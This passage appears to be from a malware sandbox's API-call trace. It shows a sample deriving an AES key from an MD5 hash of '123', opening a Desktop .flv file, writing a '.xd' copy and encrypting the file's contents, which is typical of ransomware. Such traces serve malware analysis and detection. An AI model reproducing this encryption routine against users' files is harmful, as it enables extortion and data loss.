wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0076.010] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0076.011] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0076.011] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0076.011] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0076.011] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0076.011] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0076.011] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0076.011] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0076.011] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.011] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.011] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0076.011] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0076.011] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0076.011] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0076.011] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0076.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0076.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16214f8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0076.012] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0076.012] CryptCreateHash (in: hProv=0x1631bb0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0076.012] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.012] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.012] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.012] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0076.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629490, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0076.012] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0076.012] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0076.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629490, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0076.012] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.012] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0076.012] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0076.012] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0076.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0076.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621828, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0076.013] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0076.013] CryptHashData (hHash=0x164c830, pbData=0x16294f0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0076.013] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.013] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.013] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.013] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0076.013] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0076.013] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0076.013] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0076.013] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0076.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0076.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16216a8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0076.014] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0076.014] CryptDeriveKey (in: hProv=0x1631bb0, Algid=0x6610, hBaseData=0x164c830, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c630) returned 1 [0076.014] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.014] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.014] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.014] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.014] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.014] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0076.014] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0076.014] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0076.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0076.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0076.015] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0076.015] CryptDestroyHash (hHash=0x164c830) returned 1 [0076.015] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.015] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0076.015] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0076.015] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0076.015] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0076.015] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\P71RW8CDG5NPvgfQ1.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\p71rw8cdg5npvgfq1.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d8 [0076.015] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.015] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0076.015] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0076.015] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0076.016] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0076.016] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0076.017] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\P71RW8CDG5NPvgfQ1.flv.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\p71rw8cdg5npvgfq1.flv.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0076.134] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0076.134] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0076.135] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0076.135] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0076.202] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0076.202] ReadFile (in: hFile=0x3d8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x3473, lpOverlapped=0x0) returned 1 [0076.204] ReadFile (in: hFile=0x3d8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0076.209] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0076.209] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0076.209] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0076.209] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0076.210] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.210] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.210] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0076.210] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0076.210] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0076.210] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0076.210] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0076.210] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0076.210] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0076.210] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0076.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0076.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0076.211] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0076.211] CryptGetKeyParam (in: hKey=0x164c630, dwParam=0x7, pbData=0x1629450, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629450*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0076.211] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0076.211] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0076.211] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.211] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.211] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.211] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.211] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.211] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.211] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0076.212] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0076.212] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0076.212] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0076.212] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0076.212] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0076.212] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0076.212] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0076.212] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0076.212] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0076.212] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.212] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.212] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.212] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.212] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0076.212] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0076.213] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0076.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0076.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16216a8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0076.213] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0076.213] CryptEncrypt (in: hKey=0x164c630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x3473, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x3480) returned 1 [0076.213] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.213] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.213] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.214] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.214] CharLowerBuffW (in: lpsz="byte[13441]", cchLength=0xb | out: lpsz="byte[13441]") returned 0xb [0076.214] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.214] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.214] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0076.214] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0076.214] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0076.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0076.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621930, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0076.215] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0076.215] CryptEncrypt (in: hKey=0x164c630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17e0b20*, pdwDataLen=0x130e618*=0x3473, dwBufLen=0x3480 | out: pbData=0x17e0b20*, pdwDataLen=0x130e618*=0x3480) returned 1 [0076.215] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.215] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.215] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.215] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.215] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0076.215] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 